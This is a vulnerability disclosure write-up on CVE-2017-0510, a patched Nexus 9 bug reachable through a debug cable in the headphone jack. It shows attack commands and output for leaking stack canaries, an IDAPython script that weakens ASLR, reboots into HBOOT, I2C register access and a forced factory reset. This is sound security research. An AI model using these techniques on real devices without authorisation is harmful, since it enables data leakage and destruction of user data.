In the March 2017 Android Security Bulletin, Google released a patch to CVE-2017-0510, a critical severity vulnerability in Nexus 9 we discovered and responsiblity disclosed a few months ago. This vulnerability has a very unusual attack vector – headphones. By exploiting this vulnerability we managed to leak stack canaries, derandomize ASLR
, conduct a factory reset, and even access HBOOT
, allowing for communication with internal System-on-Chips (SoCs) through I\(^2\)C.
In their BlackHat 2013 paper, Michael Ossmann & Kyle Osborn showed that multiplexed wired functionality exists in several mobile phones. Their research mainly focused on the USB socket. In the paper, they presented interesting results on various variants of Galaxy Nexus. For example, they showed that with Galaxy Nexus running CyanogenMod (CM), one could get access to the FIQ Debugger
(see next) together with an unprivileged shell. More severely, on Samsung Galaxy S3 running CM they have also got a root shell. Ossmann & Osborn also briefly documented multiplexed audio connectors, noting that Nexus 4 has a TTL UART
interface hidden in its headphone jack, a functionality which is enabled if the voltage on the MIC
pin exceeds some threshold.
Fast-forward to 2017, nowadays it’s a well known fact that the Nexus devices (Pixel too) have this kind of functionality in their headphone jack. There are multiple examples of people building and documenting their cables.
We were curious, so Sagi Kedmi (@sagikedmi) suggested we would also assemble our own cable. We decided to go with the standard FTDI232RL breakout board:
We then tested it over recent Google devices, running the latest available build with a locked bootloader (BL):
Device | Build | Access | Notes |
---|---|---|---|
Nexus 5 | M4B30Z | BL & Platform kernel logs | |
Nexus 5X | N4F26O | BL & Platform kernel logs | |
Nexus 6 | NBD91Y | BL & Platform kernel logs | Platform log can be switched on/off via fastboot oem cmd on locked BL |
Nexus 6P | N4F26O | BL & Platform kernel logs | Platform log can be switched on/off via fastboot oem cmd on locked BL. If enabled, will not boot the platform without a debug cable connected |
Pixel | NOF26V | BL & Platform kernel logs | Platform log can be switched on/off via fastboot oem cmd on unlocked BL |
Pixel C | N4F26O | None | |
Nexus 9 | N4F26Q | BL & Platform kernel logs, FIQ Debugger , HBOOT |
All but Pixel C had the multiplexed functionality. It should be noted some devices also required us to enable UART
via a proprietary fastboot oem
command (e.g oem uart enable
). To our surprise, Nexus 9 behaved quite differently, having extra functionalities beyond debug messages, and beyond the FIQ Debugger
.
In the next sections we will study some internals behind the vulnerability and its security impact.
When we first booted up Nexus 9 with the UART
cable attached, we noticed something familiar:
smc_undefined:66: param0: 0x0
smc_undefined:66: param1: 0x0
smc_undefined:66: param2: 0x0
smc_undefined:66: Undefined monitor call!
smc_undefined:66: SMC: 0x32000002 (Stdcall entity 50 function 0x2)
smc_undefined:66: param0: 0x0
smc_undefined:66: param1: 0x0
smc_undefined:66: param2: 0x0
<hit enter to activate fiq debugger>
debug>
Similarly to what Ossman & Osbord have shown on older Android devices, one could access the FIQ Debugger
on Nexus 9 as well, although without a shell on user
(production) builds. It should be noted that the FIQ Debugger
functionality is enabled even if the UART
cable is inserted when the platform is up.
The FIQ
(Fast Interrupt Request) debugger module which we can apparently access in Nexus 9 is implemented mainly by fiq_debugger.c and tegra_fiq_debugger.c in the tegra kernel tree.
Whenever a keystroke is sent to the device via UART
, an FIQ
is generated, which eventually (and probably after visiting some ARM Monitor mode code) reaches fiq_debugger_handle_uart_interrupt
that dispatches the relevant command handler.
In order to speed-up the work of the researcher, the FIQ Debugger
interface provides a help
command:
debug> help
FIQ Debugger commands:
pc PC status
regs Register dump
allregs Extended Register dump
bt Stack trace
reboot [<c>] Reboot with command <c>
reset [<c>] Hard reset with command <c>
irqs Interupt status
kmsg Kernel log
version Kernel version
sleep Allow sleep while in FIQ
nosleep Disable sleep while in FIQ
console Switch terminal to console
cpu Current CPU
cpu <number> Switch to CPU<number>
ps Process list
sysrq sysrq options
sysrq <param> Execute sysrq with <param>
The list of available commands clearly indicates the attacker may exfiltrate a lot of sensitive information by interacting with the FIQ Debugger
. For example, the attacker can dump the process list:
debug> ps
pid ppid prio task pc
1 0 120 init S ffffffc0000868f4
2 0 120 kthreadd S ffffffc0000868f4
3 2 120 ksoftirqd/0 S ffffffc0000868f4
4 2 120 kworker/0:0 S ffffffc0000868f4
5 2 100 kworker/0:0H S ffffffc0000868f4
...
837 250 110 ndroid.settin S ffffffc0000868f4
842 250 129 Jit thread po S ffffffc0000868f4
843 250 120 Signal Catche S ffffffc0000868f4
844 250 120 JDWP S ffffffc0000868f4
845 250 120 ReferenceQueu S ffffffc0000868f4
...
869 2 120 kworker/1:3 S ffffffc0000868f4
debug>
By using the console
command, for example, it’s possible to view the kernel log (similar to other Nexus devices), and receive an unprivileged shell (not on production (user
) builds – on userdebug
, eng
builds only!)
Using the bt
/regs
/allregs
commands allows the attacker to dump the registers, and when falling under the kernel context, the call stack too. Unlike a normal debugger we cannot modify memory and/or place breakpoints, however since the FIQ
preempts, the dumped information will be of an arbitrary process. In order to validate this assumption, we first created a tiny app that sets one of the registers to 0x1234
in an infinite loop:
for (;;) { asm("MOV x0,#0x1234"); }
We expected that we will eventually hit the context of the app’s process, with x0 = 0x1234
. Indeed:
debug> bt
pid: 0 comm: swapper/0
x0 0000000000000000 x1 ffffffc000f7a400
x2 0000000000000000 x3 ffffffc0006f4950
....
debug> bt
pid: 2363 comm: Thread-2
x0 0000000000001234 x1 00000070d3406774
x2 0000000000000000 x3 00000070cf580c00
x4 00000070d3406be8 x5 00000070d92b6080
x6 8080808080808080 x7 0000000000000000
....
Our next step was to prove we can leak something more sensitive – the Stack Canary value of Zygote, which is shared between all Android apps. (Due to the fact all Android apps are forked from Zygote without an exec syscall.).
We first created a small app that dumps the canary to logcat:
__android_log_print(ANDROID_LOG_VERBOSE, APPNAME,
"_stack_chk_guard: %llx",
*(uint64_t *)&__stack_chk_guard);
And the canary was:
02-01 16:30:35.623 .. V NATIVE: _stack_chk_guard: 0a2b6c120521b7c6
We then created a small PoC that dumps the registers in a successive manner. Eventually we fell under the context of a stack-protected function – reg x26
contains the canary value!
pid: 1300 comm: system_server
x0 0000000012ed8624 x1 0000000000000000
x2 0000000000000004 x3 0000007ffb44fa40
x4 0000007ffb44fa38 x5 0000007ffb44fa30
x6 000000000000000c x7 0000000000000000
x8 0000000000000000 x9 00000075a06498d0
x10 0000000000000000 x11 0000000012ed8618
x12 000000000000000a x13 000000000000000b
x14 0000000000000000 x15 2e8ba2e8ba2e8ba3
x16 00000075a05f97d8 x17 00000075a1b27b80
x18 0000000012e2d6c0 x19 00000075a0649700
x20 00000075a063fa00 x21 0000000000000002
x22 0000000000580310 x23 0000000000000034
x24 0000000012ed85f0 x25 000000000000000e
x26 0a2b6c120521b7c6 x27 0000000012d6cba0
x28 0000000012d2e1d0 x29 0000007ffb44faa0
x30 00000075a02c90b0 sp 0000007ffb44f9e0
pc 00000075a02c90cc cpsr 80000000 (EL0t)
Disassembling near 00000075a02c90cc
under system_server
shows that it belongs to the art::gc::Heap::AllocObjectWithAllocator
function. Indeed x26
is assigned with __stack_chk_guard
value:
Prologue | Epilogue |
It is no surprise that being able to view arbitrary CPU contexts with addresses included is bad news for ASLR
, which is in charge of randomizing various addresses, such as of the heap, stack, shared libraries and the executable image itself.
In this post we will focus on libraries only, although it should be fairly safe to claim that this vulnerability significantly weakens ASLR
for all of the above.
As mentioned before, by exploiting this vulnerability one can preempt an arbitrary process, and dump the CPU registers.
For example, here is a registers’ dump for Chrome
:
pid: 2856 comm: .android.chrome
r0 d51fce86 r1 001a517c r2 b914880d r3 ff8f754c
r4 e2b081c0 r5 007797ec r6 d44127ec r7 e7ac0430
r8 12de1940 r9 ff8f7470 r10 dcc65a94 r11 00000000
ip f13eb860 sp ff8f73a8 lr eedd78ef pc eedd5ac8
cpsr 80070030 (USR)
Viewing the value of the PC
register, 0xeedd5ac8
in this case, clearly reveals some information. However, in order to conduct a practical attack against ASLR
, we need to deduce to which library this address belongs and what its base address is.
As for the first part, a statistical approach can be taken. We could calculate, a priori, the hit frequency of each loaded library (with respect to the app). While we did not perform that experiment, we have a strong feeling that the empirical distribution will have a low entropy.
Back to the example, this address falls under libart
, the runtime. We assume that there is a high probability to preempt the process (via FIQ) when it visits that library, although unconfirmed. Equipped with this knowledge, how can one derandomize the base address of libart
?
We can see that PC
’s least significant 12 bits, which are unaffected by ASLR
, are 0xac8
. We can then take this dynamic information and search for all of the instructions with the relevant addresses – unfortunately there are a lot. Despite that, there are maybe additional registers we can leverage. For example, the link register – LR
. This has led to our next experiment: by using idapython
we statically searched for all functions that contain an xref from an address that ends with 0x8ef-1-4
or 0x8ef-1-2
(the -1 and multiple instruction sizes are because of THUMB
), and that have an instruction at an address that ends with 0xac8
.
from idautils import *
from idaapi import *
LR = 0xeedd78ef
PC = 0xeedd5ac8
MASK = 2**12-1
for fea in Functions(0, 0xFFFFFFFF):
fname = GetFunctionName(fea)
dfname = Demangle(fname,GetLongPrm(INF_SHORT_DN));
b = 0
for xref in CodeRefsTo(fea, 0):
if ((LR-5) & MASK == (xref & MASK)) or \
((LR-3) & MASK == (xref & MASK)):
for x in FuncItems(fea):
if PC & MASK == (x & MASK):
print "%x: %s" % (x, dfname or fname)
b = 1
if b == 1:
break
This script yielded only 6 results under libart
(rebased at zero), significantly reducing the ASLR
entropy:
eec11ac8: art::gc::Heap::AllocObjectWithAllocator<true,true,art::mirror::Class::InitializeClassVisitor>(art::Thread *,art::mirror::Class*,uint,art::gc::AllocatorType,art::mirror::Class::InitializeClassVisitor const&)
eec5dac8: mspace_malloc
eed60ac8: art::jit::Jit::MaybeDoOnStackReplacement(art::Thread *,art::ArtMethod *,uint,int,art::JValue *)
eedd5ac8: art::OatFile::End(void)
eee42ac8: art::Thread::PassActiveSuspendBarriers(art::Thread*)
eee5eac8: art::PrettyMethod(art::ArtMethod *,bool)
One can then reduce the results even further. We made a short experiment, rebooted the device several times a recorded the mapped location of libart.so
:
addr=0xee11a000
addr=0xf021a000
addr=0xeac9a000
addr=0xf039a000
addr=0xe6c1a000
addr=0xeab1a000
addr=0xe761a000
addr=0xef69a000
addr=0xef09a000
addr=0xeea9a000
addr=0xe559a000
addr=0xebe9a000
addr=0xeec9a000
addr=0xeed1a000
We can notice, even without getting into the fine details of the address mapping algorithm, that the 19 least significant bits, 0011010000000000000
, are shared among all reboots. Thus we can take that into consideration, and re-run our script, this time with MASK = 2**19-1
: (We also rebased the image to 0x1a000
.)
2d5ac8: art::OatFile::End(void)
This implies the following libart
base address: 0xeedd5ac8 - 0x2d5ac8 + 0x1a000 = 0xeeb1a000
, and indeed:
flounder:/proc/2856 # cat maps | grep libart.so
eeb1a000-eef74000 r-xp 00000000 fd:00 985 /system/lib/libart.so
eef74000-eef7c000 r--p 00459000 fd:00 985 /system/lib/libart.so
eef7c000-eef7e000 rw-p 00461000 fd:00 985 /system/lib/libart.so
Since libart.so
is loaded by zygote
, and due to the Android app forking model, it will be loaded into all apps under the same virtual address.
It’s also worth noting that if one still receives multiple candidates, they can be reduced even further. For example, by leveraging other registers, or creating a heat-map within the library itself together with contextual information, as it is possible that hit process does not even (transitively) call some of these candidates.
Conversely, finding no candidates at all, indicates that we chose the wrong libary (e.g. the called code is not of libart.so
, but rather of another lib loaded by the preempted process, or of the application itself).
Interestingly, the FIQ Debugger
provides a sysrq
command, which should provide access to the Linux SysRq interface. Despite that, hitting sysrq
after the platform has loaded returns nothing:
debug> sysrq
debug>
Digging into the code which handles the FIQ sysrq
command, reveals the reason:
static void fiq_debugger_do_sysrq(struct fiq_debugger_state *state, char rq)
{
if ((rq == 'g' || rq == 'G') && !fiq_kgdb_enable) {
fiq_debugger_printf(&state->output, "sysrq-g blocked\n");
return;
}
fiq_debugger_begin_syslog_dump(state);
handle_sysrq(rq);
fiq_debugger_end_syslog_dump(state);
}
void handle_sysrq(int key)
{
if (sysrq_on())
__handle_sysrq(key, true);
}
static bool sysrq_on(void)
{
return sysrq_enabled || sysrq_always_enabled;
}
By instrumenting the kernel we witnessed that when the platform is up, both sysrq_enabled
and sysrq_always_enabled
are 0, thus sysrq_on
returns false
. The value of the latter can be set to 1 by providing a kernel parameter (which is not provided on Nexus 9, thus the value is 0):
__setup("sysrq_always_enabled", sysrq_always_enabled_setup);
The default value of sysrq_enabled
, however, is 1:
static int __read_mostly sysrq_enabled = SYSRQ_DEFAULT_ENABLE;
where under sysrq.h:
/* Enable/disable SYSRQ support by default (0==no, 1==yes). */
#define SYSRQ_DEFAULT_ENABLE 1
Therefore something must change the variable’s value to 0, and indeed, this is done by an Android init script (init.rc
):
[...]
on early-init
# Set init and its forked children's oom_adj.
write /proc/1/oom_score_adj -1000
# Disable sysrq from keyboard
write /proc/sys/kernel/sysrq 0
[...]
The /proc/sys/kernel/sysrq
proc file is backed by code under kernel/sysctl.c
, that eventually toggles sysrq_enabled
.
Hence there is a short window of time at which sysrq
is enabled – during the kernel’s boot, before the init
script is executed. Indeed:
debug> sysrq
[ 387.104381] SysRq : HELP : loglevel(0-9) reboot(b) crash(c) terminate-all-tasks(e) memory-full-oom-kill(f) kill-all-tasks(i) thaw-filesystems(j) show-backtrace-all-active-cpus(l) show-memory-usage(m) nice-all-RT-tasks(n) poweroff(o) show-registers(p) show-all-timers(q) sync(s) show-task-states(t) unmount(u) show-blocked-tasks(w) dump-ftrace-buffer(z)
debug>
The sysrq
interface provides additional commands beyond the FIQ Debugger
. For example, we can change the kernel logging level in order to leak more debugging messages:
debug> sysrq 9
[44984.239043] SysRq : Changing Loglevel
[44984.242969] Loglevel set to 9
debug>
Moreover, a lucky attacker can also dereference some registers:
debug> sysrq p
[ 62.412493] SysRq : Show Regs
[ 62.415673]
[ 62.417182] CPU: 0 PID: 1 Comm: swapper/0 Tainted: G W 3.10.101-ga139acc-dirty #22
[ 62.425653] task: ffffffc06e4f0000 ti: ffffffc06e4f8000 task.ti: ffffffc06e4f8000
[ 62.433176] PC is at common_edp_calculate_leakage_ma+0xf0/0x1b0
[ 62.439120] LR is at cpu_edp_calculate_maxf.constprop.5+0xec/0x16c
[ 62.445326] pc : [<ffffffc0007bfb34>] lr : [<ffffffc0007c0ab8>] pstate: 80000105
[ 62.452746] sp : ffffffc06e4fbc10
[ 62.456073] x29: ffffffc06e4fbc10 x28: 00000000000000bc
[ 62.461431] x27: 000000000024c516 x26: ffffffc000fecd1c
[ 62.466784] x25: ffffffc0029ca000 x24: 000000000000043a
[ 62.472136] x23: 0000000000000001 x22: 0000000000000032
[ 62.477487] x21: 00000000000038a4 x20: 0000000000000000
[ 62.482839] x19: 00000000000004a6 x18: 00000000f31a2dd9
[ 62.488190] x17: 00000000000003e8 x16: ffffffc000fece0c
[ 62.493542] x15: ffffffc000fece1c x14: 000000000000000a
[ 62.498892] x13: 00000000000003e8 x12: 000000000000004f
[ 62.504243] x11: 0000000000000003 x10: 0000000000000001
[ 62.509594] x9 : ffffffc000fece1c x8 : 0000000000000000
[ 62.514946] x7 : 00000001de5571ae x6 : 00000000000003e8
[ 62.520297] x5 : 0000000000000000 x4 : 0000000000000001
[ 62.525648] x3 : 00000000000004a6 x2 : 0000000000000032
[ 62.530998] x1 : 000000000000043a x0 : ffffffc000fecd1c
[ 62.536351]
[...]
[ 62.679272] SP: 0xffffffc06e4fbb90:
[ 62.684252] bb90 00000000 00000000 000038a4 00000000 00000032 00000000 00000001 00000000
[ 62.692569] bbb0 0000043a 00000000 029ca000 ffffffc0 00fecd1c ffffffc0 0024c516 00000000
[ 62.700877] bbd0 000000bc 00000000 6e4fbc10 ffffffc0 007c0ab8 ffffffc0 6e4fbc10 ffffffc0
[ 62.709185] bbf0 007bfb34 ffffffc0 80000105 00000000 6e4fbc20 ffffffc0 0019e648 ffffffc0
[ 62.717492] bc10 6e4fbc80 ffffffc0 007c0ec8 ffffffc0 00fb7ad0 ffffffc0 00000001 00000000
[ 62.725802] bc30 0000043a 00000000 00b04950 ffffffc0 00000004 00000000 00fecd18 ffffffc0
[ 62.734112] bc50 00000008 00000000 00fed000 ffffffc0 00b04938 ffffffc0 02ab0e38 ffffffc0
[ 62.742420] bc70 00fecd18 ffffffc0 00fecd20 ffffffc0 6e4fbd30 ffffffc0 007c1398 ffffffc0
[ 62.750730]
[...]
[ 62.822184] X9: 0xffffffc000fecd9c:
[ 62.827164] cd9c 098d9dee f7aaea26 01dcf41d ffe51191 f612bd90 08a38fc6 fe10cb55 001bef19
[ 62.835473] cdbc 035e5fbc fd132501 00a7fbcb fff68ae6 01094554 ff18cbd7 00332efc fffd1caf
[ 62.843780] cddc fcb5f0c0 02dd5bec ff5d739e 00092ca9 03687eeb fd089f6c 00a88d3e fff67c13
[ 62.852088] cdfc fed8fb7d 0100cbc6 ffc6e9e4 00033901 ffe66261 001649f3 fffb14fa 00004711
[ 62.860394] ce1c 00513c1e ffb95bec 000f9b9c ffff1e4d ffabecea 00491195 ffefd49f 0000e9f8
[ 62.868701] ce3c 001c65ef ffe752cc 00057876 ffffb0ce 0000001e 002625a0 00231860 00000000
[ 62.877008] ce5c 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 62.885315] ce7c 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[...]
Our next step was trying to understand if we are limited to the FIQ Debugger
prompt, or there are some more hidden gems.
The Nexus 9 bootloader has two modes: HBOOT
and FASTBOOT
, which can be interchanged via the bootloader UI:
FASTBOOT menu | HBOOT menu |
We noticed that when we entered the HBOOT
mode, another prompt was received via UART
(through the headphones jack):
###[ Bootloader Mode ]###
hboot>
Hitting ?
shows the available commands:
hboot> ?
#. <command> : <brief description>
security_command:
1. boot : no desc.
...
14. readconfig : no desc.
15. readimei : no desc.
16. readmeid : no desc.
17. readpid : no desc.
18. rebootRUU : no desc.
19. refurbish : no desc.
20. reset : no desc.
21. resethtcdebugflag : no desc.
22. usb_id_adc : no desc.
23. i2cr : no desc.
24. i2cw : no desc.
25. i2crNoAddr : no desc.
26. i2cwNoAddr : no desc.
27. i2cdetect : no desc.
...
hboot>
It can be seen that through this interface we can trigger many interesting operations. From the attacker’s prespective, however, it is very unlikely that the victim would plug-in the headphones while the device is in the HBOOT
mode.
As explained above, normally, when the victim plugs-in the malicious headphones, the latter will be able to interact with the FIQ Debugger
, implemented by the platform.
So how can the attacker force a reboot to HBOOT
from the FIQ Debugger
? The answer is, unsurprisingly, 42:
debug> reboot oem-42
debug>
[0000.045] Battery Present
[0000.069] Battery Voltage: 4170 mV
[0000.072] Battery charge sufficient
[0000.076] Override BCT configs
[0000.079] NvBootEmcReadMrr+++
[0000.082] NvBootEmcReadMrr---
....
###[ Bootloader Mode ]###
hboot>
Great, we can now easily access the HBOOT
interface via UART
.
By having HBOOT
access, the attacker can interact with I\(^2\)C accessible SoCs. Detecting the available SoCs can be done using the i2cdetect
HBOOT
command. The following shows the devices which listen on I\(^2\)C bus 0
:
hboot> i2cdetect 0
i2c device 0x66 foundi2c device 0x67 foundi2c device 0x6c found
i2c device 0x6d foundi2c device 0x98 foundi2c device 0x99 found
i2c device 0xd6 foundi2c device 0xd7 foundi2c device 0xe4 found
i2c device 0xe5 found
hboot>
For example, 0xe4
and 0xe5
are the read/write addresses of the HTC SensorHub
, implemented on an STM32F401 ARM Cortex-M4
SoC. SensorHub
, as the name implies acts as an energy-efficient proxy between the main CPU and the actual sensors. It communicates with both ends using I\(^2\)C (different buses). Since the STM32F401
bootloader supports programming via I\(^2\)C, our ultimate goal was to replace the SensorHub firmware via I\(^2\)C, just like the platform driver does. Unfortunately we soon found out it was not possible because booting STM32F4 to its bootloader requires being able to reset the SoC while the Boot0
and Boot1
pins are set to 1 and 0, correspondingly, but we cannot control these pins via HBOOT
. Out of curiosity, we digged in the SensorHub driver, CwMcuSensor to see how it performs the firmware upgrade. Indeed it enables the Boot0
pin, via GPIO
(the other pin is probably pulled-down):
static void update_firmware(const struct firmware *fw, void *context)
{
...
ret = check_fw_version(mcu_data, fw);
if (ret == 1) { /* Perform firmware update */
mutex_lock(&mcu_data->activated_i2c_lock);
i2c_lock_adapter(mcu_data->client->adapter);
mcu_data->client->addr = 0x39;
gpio_direction_output(mcu_data->gpio_chip_mode, 1);
mdelay(10);
gpio_direction_output(mcu_data->gpio_reset, 0);
mdelay(10);
gpio_direction_output(mcu_data->gpio_reset, 1);
...
}
Although we miserably failed to flash SensorHub
, we still wanted to interact with it via I\(^2\)C, proving that we can communicate with internal chips. Therefore we examined its firmware in order to find a few interesting I\(^2\)C registers.
Returning the firmware version is done by reading from register 0x10
:
hboot> i2cr 0 0xe4 0x10 6
ret:0
> [6] = 1 0 10 28 2 1 0 0 0 0 0 0 0 0 0 0
hboot>
This indeed corresponds to the firmware image’s footer: HTCSHUB001.000.016.040.002.001
. We then managed to access an actual sensor – the Light Sensor, through SensorHub. In order to do so, we first enabled it (writing 32
to register 0x90
), and then read its value (register 0x23
):
hboot> i2cw 0 0xe5 0x90 32
hboot> i2cr 0 0xe4 0x23 3
ret:0
> [3] = 5 ba 3 0 0 0 0 0 0 0 0 0 0 0 0 0
In a dark room register 0x23
is 0
:
hboot> i2cr 0 0xe4 0x23 3
ret:0
> [3] = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Lastly, the attacker can also trigger a factory reset, simply by rebooting with oem-76
:
debug> reboot oem-76
debug>
[...]
Better back-up your data before connecting those suspicious headphones!
Google has patched the vulnerability by reducing the capabilities of the FIQ Debugger
. When the platform is up, it’s no longer possible to dump the registers nor reboot with an oem-N
parameter (preventing reboots into HBOOT
and Factory Resets):
debug> help
FIQ Debugger commands:
reboot Reboot
reset Hard reset
irqs Interrupt status
sleep Allow sleep while in FIQ
nosleep Disable sleep while in FIQ
console Switch terminal to console
ps Process list
debug>
Issuing reboot oem-42
now results in a normal reboot. As one can see, some commands are still available.